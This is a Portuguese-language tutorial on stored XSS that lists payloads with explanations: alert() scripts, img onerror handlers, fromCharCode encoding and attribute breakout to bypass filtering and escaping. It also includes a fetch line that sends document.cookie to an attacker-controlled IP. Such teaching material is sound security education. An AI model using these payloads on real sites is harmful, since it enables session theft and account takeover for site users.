XSS Armazenado P2
XSS Armazenado, como vimos anteriormente, é um tipo de vulnerabilidade onde o código malicioso é armazenado no servidor e executado sempre que um usuário acessa o conteúdo comprometido. Aqui estão alguns exemplos de código comuns e o que eles fazem:
Alertas Simples
<script>alert('Você foi hackeado!');</script> |
O que Faz: Exibe uma mensagem de alerta no navegador do usuário.
Exemplo de Uso: Um atacante injeta este script em um campo de comentário. Quando o comentário é carregado, o alerta é exibido, indicando que o script foi executado.
Roubo de Cookies
<script> fetch('http://192.168.1.223/rouba_cookie?' + document.cookie); </script> |
O que Faz: Envia os cookies do usuário para o servidor do atacante.
Exemplo de Uso: Um atacante pode roubar as sessões de login dos usuários ao enviar seus cookies de sessão para um servidor controlado pelo atacante.
Imagem com Evento onError
<img src="x" onerror="alert('Imagem não carregada!')"> |
O que Faz: Quando a imagem falha ao carregar (porque "x" não é um caminho válido), o evento onerror
é disparado e exibe um alerta.
Exemplo de Uso: O atacante insere este código em um campo que espera uma URL de imagem. Quando a imagem não é carregada, o alerta é exibido.
Muitos sites implementam mecanismos de segurança para mitigar ataques XSS. No entanto, os atacantes frequentemente encontram formas de contornar essas defesas.
Filtragem de Caracteres
Mecanismo: Alguns sites filtram caracteres especiais para evitar a injeção de scripts.
Técnica de Bypass: Os atacantes podem usar técnicas de codificação para contornar a filtragem. Por exemplo, eles podem codificar caracteres em HTML:
<script>alert(String.fromCharCode(88,83,83))</script> |
O que Faz: Codifica o alerta de XSS usando String.fromCharCode
, que converte números ASCII em caracteres.
Escapamento de Entrada
Mecanismo: Alguns sites escapam caracteres especiais nas entradas do usuário.
Técnica de Bypass: Os atacantes podem usar vetores de ataque alternativos, como inserir atributos em tags HTML:
"><img src="x" onerror="alert('XSS!')"> |
O que Faz: Fecha um atributo existente e insere uma nova tag img
com um evento onerror
que dispara um alerta.